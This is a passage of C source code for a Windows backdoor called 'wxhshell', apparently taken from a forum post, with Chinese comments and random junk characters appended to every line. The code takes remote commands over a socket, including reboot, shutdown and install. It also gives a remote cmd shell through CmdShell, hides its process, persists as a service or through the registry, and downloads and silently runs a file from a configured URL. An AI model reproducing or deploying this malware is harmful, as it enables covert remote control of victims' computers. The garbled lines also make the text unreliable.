  Y~P* !g  
  // 帮助 }]+k  
  case '?': { Z>_F:1x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w3 K>IDWI7  
    break; j!/=w q  
  } Q)93 +1]  
  // 安装 ]?UK98uS\A  
  case 'i': { 6rh^?B  
    if(Install()) e6 a]XO^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xr]<v%,C  
    else p&W{g $D>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nrJW.F]S8[  
    break; VdF<#(X+  
    } 63T4''bwu  
  // 卸载 8=WX`*-uH  
  case 'r': { .M>g`UW  
    if(Uninstall()) 2i~zAD'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zTW)SX_O  
    else *5q_fO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q=#@g  
    break; qqr]S^WW  
    } +W^$my)<  
  // 显示 wxhshell 所在路径  ^9 Pae)  
  case 'p': { .aD=d\  
    char svExeFile[MAX_PATH]; ?.6fVSa  
    strcpy(svExeFile,"\n\r"); P"<,@Mn  
      strcat(svExeFile,ExeFile); C>Cb  
        send(wsh,svExeFile,strlen(svExeFile),0); %%^by  
    break; ;]Ko7M(4  
    } pXl *`[0X#  
  // 重启 d5l].%~  
  case 'b': { P>qDQ1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' qN"!\  
    if(Boot(REBOOT)) #GIjU1-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w ?"s6L3  
    else { \) vI-  
    closesocket(wsh);  3;f}w g  
    ExitThread(0); z0xw0M+X  
    } 5sguv^;C5  
    break; xF7q9'/F  
    } |\J! x|xy  
  // 关机 ]=jpqxlx  
  case 'd': { 7R=A]@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nx|b9W<  
    if(Boot(SHUTDOWN)) 1 2J#}|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2sYOO>  
    else { 4<q'QU#l<  
    closesocket(wsh); '<%;Nv  
    ExitThread(0); U_ *K%h\m  
    } <BhNmEo)2  
    break; 9q>rUoK^  
    } :{M1]0 NH  
  // 获取shell X$9 "dL  
  case 's': { +~!\;71:f  
    CmdShell(wsh); T56%3i  
    closesocket(wsh); qL/XGIxL?  
    ExitThread(0); .;jp2^  
    break; A&7~] BR\  
  } < SvjvV  
  // 退出 F8>J(7On  
  case 'x': { #({ 9M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uq:CM6q\  
    CloseIt(wsh); (cdtUE8  
    break; V8+8?5'l  
    } GOj<>h}r  
  // 离开 JQk][3Rv  
  case 'q': { )~=g}&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %G/j+Pf  
    closesocket(wsh); OpxJiu=W  
    WSACleanup(); hVd PO  
    exit(1); 9P\R?~3  
    break; }e4#Mx  
        } CK#SD|~:  
  } hp!. P1b  
  } ;/)u/[KAv  
:Kx6|83  
  // 提示信息 f1 TYQ?e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N!YjMx)P  
} N9X`81)t  
  } uM74X^U  
!1fAW! 8  
  return; P#N@W_""YD  
} KXbD7N.  
LL7un_EC  
// shell模块句柄 w5R?9"d@  
int CmdShell(SOCKET sock) #S*cFnd  
{ %xh A2  
STARTUPINFO si; ,'^^OLez  
ZeroMemory(&si,sizeof(si)); dXewS_7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0 \}%~e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OYayTKxN  
PROCESS_INFORMATION ProcessInfo; oC >l|?h,  
char cmdline[]="cmd"; 5#hsy;q;[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O&ZVu>`g  
  return 0; r E<Ou"  
} 4I7;/ZgALQ  
7B8.;0X$W  
// 自身启动模式 <OA[u-ph%S  
int StartFromService(void) wxIWh>pZa  
{ k(%h{0'  
typedef struct 6Cz%i 6)  
{ 5.X`[/]<r  
  DWORD ExitStatus; X9/]< Y<!  
  DWORD PebBaseAddress; 9w08)2$ Na  
  DWORD AffinityMask; 02 6|u|R  
  DWORD BasePriority; {j4J(dtO  
  ULONG UniqueProcessId; ebmU~6v k  
  ULONG InheritedFromUniqueProcessId; Ld$e  -dB  
}   PROCESS_BASIC_INFORMATION; VFjNrngl  
z57|9$h}w  
PROCNTQSIP NtQueryInformationProcess; iIO_d4Z  
. Q$/\E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?TEdGe\*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CZ.XEMN\  
&I=F4 z  
  HANDLE             hProcess; MaQ`7U5 |e  
  PROCESS_BASIC_INFORMATION pbi; _ tO:,%dL  
XTPf~Te,=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EL+P,q/b  
  if(NULL == hInst ) return 0; [ r;hF  
OF/DI)j3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H;=++Dh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~ $QNp#dq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'D<84|w:1  
CHo(:A.U>  
  if (!NtQueryInformationProcess) return 0; ;JAb8dyS2  
 1@p'><\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <Z58"dg.5  
  if(!hProcess) return 0; `zBQ:_3J_  
"Z70 jkW[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }"o,j>IP  
/>[X k  
  CloseHandle(hProcess); _7qGo7bpN  
p5PTuJ>q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PS3%V_2  
if(hProcess==NULL) return 0; ^s[OvJb  
<$ oI  
HMODULE hMod; +ZU@MOni  
char procName[255]; &R~)/y0]  
unsigned long cbNeeded; WEVV2BJ  
|(6H)S]$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9m:G8j'  
T3#KuiwU9  
  CloseHandle(hProcess); `-QY<STTP9  
3I%F,-r  
if(strstr(procName,"services")) return 1; // 以服务启动 *^_ywqp  
_hbTxyj  
  return 0; // 注册表启动 u{dI[?@  
} 6-vQQ-\  
e~iPN.'1  
// 主模块 Rd^X.  
int StartWxhshell(LPSTR lpCmdLine) wjnQK  
{ "- XJZ;5  
  SOCKET wsl; $`O%bsjX  
BOOL val=TRUE; VGtKW kVH  
  int port=0; r"aJ&~8::W  
  struct sockaddr_in door; :L'U>)k  
q;0QI{:5v  
  if(wscfg.ws_autoins) Install(); ]f< H?  
wdzZ41y1  
port=atoi(lpCmdLine); i!k5P".o^  
[>y0Xf9^  
if(port<=0) port=wscfg.ws_port; SB}0u=5  
+kN/-UsB  
  WSADATA data; '<eeCe-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ->29Tns  
_(.,<R5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0z1UF{{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =n7 3bm  
  door.sin_family = AF_INET; LtIw{* 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *4oj' }  
  door.sin_port = htons(port); M);@XcS  
F^bzE5#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y %4G[Dz  
closesocket(wsl); X 'W8 mqk  
return 1; ck"lX[d1  
} nC;2wQ6aO  
z/&2Se:  
  if(listen(wsl,2) == INVALID_SOCKET) { Pm* N!:u  
closesocket(wsl); n fU\l<  
return 1; EX.`6,:+2  
} '.8E_Jd0E  
  Wxhshell(wsl); Z F&aV?  
  WSACleanup(); 3xU in  
$Z8=QlG>  
return 0; yu>DVD  
bw\a\/Dw  
} (" ,(@nS  
5C^oqUZ  
// 以NT服务方式启动 {vL4:K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?'L3B4  
{ ~c*$w O\  
DWORD   status = 0; 4?3*%_bDJ,  
  DWORD   specificError = 0xfffffff; 6)B6c. 5o  
F7r!zKXZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vs0T*4C=n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ARt+"[.*p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]*M-8_D  
  serviceStatus.dwWin32ExitCode     = 0; ?z]h Ysy  
  serviceStatus.dwServiceSpecificExitCode = 0; zYW+Goz/C  
  serviceStatus.dwCheckPoint       = 0; | ]DJz  
  serviceStatus.dwWaitHint       = 0; Q#} 0pq  
<E`Ygac  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |9X$@R  
  if (hServiceStatusHandle==0) return; QlmZ4fT[r  
@TTB$  
status = GetLastError(); #A RQB2V  
  if (status!=NO_ERROR) tAM t7p-  
{ :XP/`%:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5[py{Gq  
    serviceStatus.dwCheckPoint       = 0; +UGWTO\#ha  
    serviceStatus.dwWaitHint       = 0; uIO<6p)  
    serviceStatus.dwWin32ExitCode     = status; =d{B.BP(  
    serviceStatus.dwServiceSpecificExitCode = specificError; -/O_wqm#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #_b U/rk)*  
    return; {"([p L  
  } [A.ix}3mm  
eA$wJ$*   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +mgmC_Q(0  
  serviceStatus.dwCheckPoint       = 0; BcfW94  
  serviceStatus.dwWaitHint       = 0; wM"P JG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /4}B}"`Sl=  
} mT7B#^H  
kX2bU$1Q,i  
// 处理NT服务事件,比如:启动、停止 i#lnSJ08  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $z>L $,c>  
{ *88Q6=Mm  
switch(fdwControl) ]&dU%9S  
{ 1@}`dc  
case SERVICE_CONTROL_STOP: hPP,D\#  
  serviceStatus.dwWin32ExitCode = 0; z~S(OM@olJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /g_cz&luR  
  serviceStatus.dwCheckPoint   = 0; m@z.H;  
  serviceStatus.dwWaitHint     = 0; 4zRz U  
  { [vJLj>@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m4<5jC`-M  
  } Bv)^GU&   
  return; S{qc1qj  
case SERVICE_CONTROL_PAUSE: zv^km5by  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >+ P5Zm(_  
  break; QQnpy.`:/  
case SERVICE_CONTROL_CONTINUE: O_M2Axm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9uNkd2 #  
  break; gyt[ZN_2  
case SERVICE_CONTROL_INTERROGATE: ;_HG 5}i  
  break; T;f`ND2fY  
}; r? w^#V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xejQ!MAB  
} ?51Y&gOEZ  
WB7pdSZ  
// 标准应用程序主函数 V?.')?'V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0I`)<o-  
{ iE~][_%U  
vSOO[.=  
// 获取操作系统版本 "x+o(jOy  
OsIsNt=GetOsVer(); gyz#:z$p^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PLkwtDi+&  
_5nS!CN  
  // 从命令行安装 Q||v U  
  if(strpbrk(lpCmdLine,"iI")) Install(); sUCI+)cM3  
R7q\^Yzo  
  // 下载执行文件 k"kGQk4  
if(wscfg.ws_downexe) { eNwF<0}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n7J6YtUwP  
  WinExec(wscfg.ws_filenam,SW_HIDE); nD8 Qeem@  
} )\q A[rTG  
xksd&X:  
if(!OsIsNt) { "}ms|  
// 如果时win9x,隐藏进程并且设置为注册表启动 <? Z[X{  
HideProc();  rk F>c  
StartWxhshell(lpCmdLine); ;V=Y#|o  
} [eb?Fd~WB]  
else p-6Y5$Y  
  if(StartFromService()) IpJMq^ Z  
  // 以服务方式启动 e;*GbXd|  
  StartServiceCtrlDispatcher(DispatchTable); 9?jD90@ }  
else B=>VP-:  
  // 普通方式启动 H'Oy._,]t  
  StartWxhshell(lpCmdLine); /e2CB"c   
xzZ2?z Wi  
return 0; n0ZrgTVJ  
}
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只看该作者 1 发表于: 2006-10-10
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